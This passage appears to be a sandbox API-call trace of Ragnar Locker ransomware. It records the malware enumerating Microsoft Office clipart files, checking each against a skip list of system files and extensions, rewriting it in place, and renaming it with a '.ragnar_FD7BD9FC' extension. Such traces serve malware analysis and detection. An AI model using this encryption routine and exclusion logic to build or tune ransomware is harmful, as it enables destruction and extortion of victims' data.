office\\clipart\\pub60cor\\na00458_.wmf")) returned 0x20 [0088.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.491] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10148) returned 1 [0088.491] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x279b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.491] GetProcessHeap () returned 0x580000 [0088.491] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.491] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.493] VirtualAlloc (lpAddress=0x0, dwSize=0x27a4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.493] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.493] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.493] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x27a4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x27a4, lpOverlapped=0x0) returned 1 [0088.494] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.494] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.494] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x27a4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x27a4, lpOverlapped=0x0) returned 1 [0088.494] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x27a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.495] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.495] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x27a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.495] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.495] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.495] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.495] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.495] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.495] GetProcessHeap () returned 0x580000 [0088.495] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.495] CloseHandle (hObject=0xf4) returned 1 [0088.495] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" [0088.495] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.ragnar_FD7BD9FC" [0088.495] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80e3300, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80e3300, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4f6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00462_.WMF", cAlternateFileName="")) returned 1 [0088.496] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.496] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00462_.WMF" | out: lpString1="NA00462_.WMF") returned="NA00462_.WMF" [0088.496] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF") returned=".WMF" [0088.496] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.496] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="autorun.inf") returned 1 [0088.496] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="boot.ini") returned 1 [0088.496] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="bootfont.bin") returned 1 [0088.496] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="bootsect.bak") returned 1 [0088.496] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="bootmgr") returned 1 [0088.496] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="bootmgr.efi") returned 1 [0088.496] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.496] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="desktop.ini") returned 1 [0088.496] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="iconcache.db") returned 1 [0088.496] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="ntldr") returned -1 [0088.496] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="ntuser.dat") returned -1 [0088.496] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.496] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="ntuser.ini") returned -1 [0088.497] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="thumbs.db") returned -1 [0088.497] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.497] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.497] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.497] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.497] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.497] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.497] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf")) returned 0x20 [0088.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.497] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20332) returned 1 [0088.497] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4f63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.497] GetProcessHeap () returned 0x580000 [0088.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.497] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.499] VirtualAlloc (lpAddress=0x0, dwSize=0x4f6c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.499] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.500] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.500] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4f6c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4f6c, lpOverlapped=0x0) returned 1 [0088.503] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.503] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.503] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4f6c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4f6c, lpOverlapped=0x0) returned 1 [0088.503] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.503] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.504] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4f6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.504] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.504] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.504] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.504] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.504] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.504] GetProcessHeap () returned 0x580000 [0088.504] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.504] CloseHandle (hObject=0xf4) returned 1 [0088.504] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" [0088.504] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.ragnar_FD7BD9FC" [0088.504] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.505] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735300, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x735300, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0xc10, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00487_.WMF", cAlternateFileName="")) returned 1 [0088.505] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.505] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00487_.WMF" | out: lpString1="NA00487_.WMF") returned="NA00487_.WMF" [0088.505] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF") returned=".WMF" [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="autorun.inf") returned 1 [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="boot.ini") returned 1 [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="bootfont.bin") returned 1 [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="bootsect.bak") returned 1 [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="bootmgr") returned 1 [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="bootmgr.efi") returned 1 [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="desktop.ini") returned 1 [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="iconcache.db") returned 1 [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="ntldr") returned -1 [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="ntuser.dat") returned -1 [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="ntuser.ini") returned -1 [0088.505] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="thumbs.db") returned -1 [0088.506] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.506] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.506] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.506] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.506] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.506] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.506] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf")) returned 0x20 [0088.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.507] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3088) returned 1 [0088.507] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc07, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.507] GetProcessHeap () returned 0x580000 [0088.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.507] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.510] VirtualAlloc (lpAddress=0x0, dwSize=0xc10, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.510] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.510] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.510] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc10, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc10, lpOverlapped=0x0) returned 1 [0088.510] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.510] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc10, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.510] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc10, lpOverlapped=0x0) returned 1 [0088.510] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.511] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.511] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.511] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.511] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.511] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.511] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.511] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.511] GetProcessHeap () returned 0x580000 [0088.511] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.511] CloseHandle (hObject=0xf4) returned 1 [0088.511] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" [0088.511] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.ragnar_FD7BD9FC" [0088.511] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.512] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955a5a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x955a5a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00494_.WMF", cAlternateFileName="")) returned 1 [0088.512] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.512] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00494_.WMF" | out: lpString1="NA00494_.WMF") returned="NA00494_.WMF" [0088.512] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF") returned=".WMF" [0088.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="autorun.inf") returned 1 [0088.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="boot.ini") returned 1 [0088.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="bootfont.bin") returned 1 [0088.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="bootsect.bak") returned 1 [0088.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="bootmgr") returned 1 [0088.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="bootmgr.efi") returned 1 [0088.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="desktop.ini") returned 1 [0088.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="iconcache.db") returned 1 [0088.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="ntldr") returned -1 [0088.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="ntuser.dat") returned -1 [0088.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="ntuser.ini") returned -1 [0088.513] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="thumbs.db") returned -1 [0088.513] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.513] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.513] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.513] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.513] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.513] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.513] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf")) returned 0x20 [0088.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.513] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2360) returned 1 [0088.513] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x92f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.513] GetProcessHeap () returned 0x580000 [0088.513] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.513] 